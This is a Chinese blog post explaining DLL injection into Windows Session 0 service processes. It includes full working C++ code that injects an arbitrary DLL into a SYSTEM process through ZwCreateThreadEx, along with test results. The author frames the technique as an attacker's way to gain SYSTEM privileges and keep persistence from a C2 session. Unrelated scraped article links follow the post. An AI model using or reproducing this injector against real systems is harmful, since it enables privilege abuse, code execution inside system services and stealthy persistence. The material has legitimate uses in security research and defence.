远程线程注入DLL突破session 0 隔离
远程线程注入DLL突破session 0 隔离
0x00 前言
补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL。
0x01 介绍
通过CreateRemoteThread实现的远程线程注入,流程大致就是:
通过OpenProcess获取目标进程句柄。
通过VirtualAllocEx在目标进程空间中申请内存,通过WriteProcessMemory放入需要载入的dll的路径。
通过GetModuleHandleA获取诸如kernel32.dll这类系统dll的模块句柄,进而获取LoadLibraryA这类载入动态链接库的函数地址(固定)
通过CreateRemoteThread的参数传入目标进程对象句柄、写入到目标进程空间的dll路径、LoadLibraryA函数地址,实现中目标中创建多线程加载dll。
而如果想要突破SESSION 0隔离,实现远程线程注入,则是使用比CreateRemoteThread更底层的内核API ZwCreateThreadEx。
这里补充下SESSION 0隔离是什么。
SESSION 0 隔离:
https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0。
而从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。
为了避免应用程序权限混乱造成的风险,微软提供了SESSION 0 隔离机制,而攻击者为了提升权限操作服务拥有的权限(SYSTEM)则又了突破SESSION 0 隔离。
这里ZwCreateThreadEx函数在不同位数的系统拥有不同的函数声明。
ZwCreateThreadEx函数声明:
#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
为什么CreateRemoteThread不能实现系统服务进程DLL注入?
书里直接解释的是由于SESSION 0隔离机制在内核6.0之后(vista、7、8...),当创建一个进程后,并不会立即运行,通过先挂起进程,查看要运行的进程所在会话层之后再决定是否恢复进程运行(待逆向观察)。
而CreateRemoteThread实现内部调用了ZwCreateThreadEx创建远程线程,但是CreateSuspended的参数值为1导致线程无法恢复运行,导致DLL注入失败。
而我们只需要直接调用ZwCreateThreadEx,并在程序运行指定CreateSuspended为0即可实现远程线程注入DLL突破SESSION 0隔离。
0x02 编码实现
由于ZwCreateThreadEx函数在nydll.dll中没有声明,所以需要通过GetProcAddress获取ZwCreateThreadEx的函数地址来调用。
InjectDll.h
#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_
#include <Windows.h>
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName);
#endif
Test_Session0_injectPID.cpp
// Test_Session0_injectPID.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include "InjectDll.h"
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 获取ZwCreateThread函数地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifndef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#else
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
if (FALSE == bRet)
{
std::cout << "Inject Dll Error.\n";
}
std::cout << "Inject Dll OK.\n";
return 0;
}
0x03 效果测试
通过procexp可查看进程所属session。
编写了多个位数的inject 程序,多个位数的dll。
结果发现:
x64 inject程序远程线程注入x64 dll到x64可行。
x64 inject程序远程线程注入x86 dll到x64可行,但是没成功到目标x64程序。
X86 inject程序远程线程注入x64 dll到x64不可行。
X86 inject程序远程线程注入x86 dll到x64不可行。
测试成功注入DLL到SESSION 0进程。
0x04 总结
会话隔离会导致诸多问题,比如一个c2的会话是system,不能截屏看到用户界面,只能以用户权限进程屏幕截屏。不过这里突破session 0到系统服务后可以方便维权,只要机器不关,就算用户退出登录,也可以持久维权。
0x05 参考
https://www.cnblogs.com/gnielee/archive/2010/04/07/session0-isolation-part1.html
https://www.cnblogs.com/gnielee/archive/2010/04/08/session0-isolation-part2.html
https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN
远程线程注入DLL突破session 0 隔离的更多相关文章
- 远程线程注入dll,突破session 0
前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...
- 远程线程注入DLL
远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...
- 关于突破 SESSION 0 隔离场景发现的一些问题
0x00 Tricks 0x01 用ZwCreateThreadEx 在 Windows 10 下直接通过管理员权限+SeDebugPrivilege启用. 0x02 用CreateRemoteThr ...
- 恶意软件开发——突破SESSION 0 隔离的远线程注入
一.前言 在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能 ...
- 详细解读:远程线程注入DLL到PC版微信
一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...
- CreateRemoteThread远程线程注入Dll与Hook
CreateRemoteThread虽然很容易被检测到,但是在有些场合还是挺有用的.每次想用的时候总想着去找以前的代码,现在在这里记录一下. CreateRemoteThread远程注入 DWORD ...
- 【windows核心编程】使用远程线程注入DLL
前言 该技术是指通过在[目标进程]中创建一个[远程线程]来达到注入的目的. 创建的[远程线程]函数为LoadLibrary, 线程函数的参数为DLL名字, 想要做的工作在DLL中编写. 示意图如下: ...
- 微信 电脑版 HOOK(WeChat PC Hook)- 远程线程注入dll原理
Windows加载dll的特性 1.Windows系统中,每个exe软件运行的时候,会加载系统模块kernel32.dll 2.所有加载进exe软件的系统模块kernel32.dll,内存地址都是一样 ...
- 远程线程注入突破SESSION 0
远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...
随机推荐
- Bugku-你必须让他停下来
这道题使用burpsuite抓包就能做,一开始抓包发到repeater之后flag不一定可以直接得到,原因是flag藏在特定的那张图片后面,我们一直go到那张图片便可以得到flag. 进入题目给的网址 ...
- Spring中为什么不建议使用字段注入
在使用Idea中通过注解注入字段时是否遇见过这样一个提示: Field injection is not recommended(不推荐使用字段注入) 一. 什么是字段注入,Spring中依赖注入的方 ...
- PyCharm启动报错 TypeError: unsupported operand type(s) for /: ‘str’ and ‘str’ 解决
这个提示大概是说:"类型错误:不支持操作类型为字符串和字符串",直接把两个字符串(BASE_DIR = os.path.dirname(os.path.dirname(os.pat ...
- 【网络编程】TCPIP-8-套接字的多种选项
目录 前言 8. 套接字的多种选项 8.1 API getsockopt(); & setsockopt(); 8.2 套接字选项 8.3 缓冲区相关可选项 8.4 端口复用 8.4.1 ti ...
- NOIP 模拟 $11\;\rm math$
题解 签到题(然而还是不会) 考虑所有可能的值一定是 \(\in [0,k)\),且一定为 \(gcd(a_1,a_2,...a_n,k)\) 的倍数. 证明: 设 \(tmp=b_1a_1+b_2a ...
- Go优秀开源项目推荐
前言 本文主要是收集Go语言开发的一些优秀项目和框架,个人见识有限肯定还有很多优秀的项目没有收录的,假如大家有好的Go项目可以在文末留言. Go优秀项目收集仓库 GolangFamilygithub ...
- spring开发中常见错误集合,逐步添加
1.关于jstl错误:原因,在jsp页面中使用了jstl标签库,但是却没有导入,可以将相应的jar包放在tomcat的lib目录下,一劳永逸 Java.lang.NoClassDefFoundErro ...
- springboot中添加事务注解
1.首先在service层中的方法前添加@Transactional @Service public class UserService { @Autowired private UserMapper ...
- C#根据输入的字符串来创建类的实例
abstract class Vehicle { public abstract void Drive(); } class Car : Vehicle { public override void ...
- SpringBoot中的thymeleaf引擎报错
关于:thymeleaf报错: An error happened during template parsing (template: "class path resource [temp ...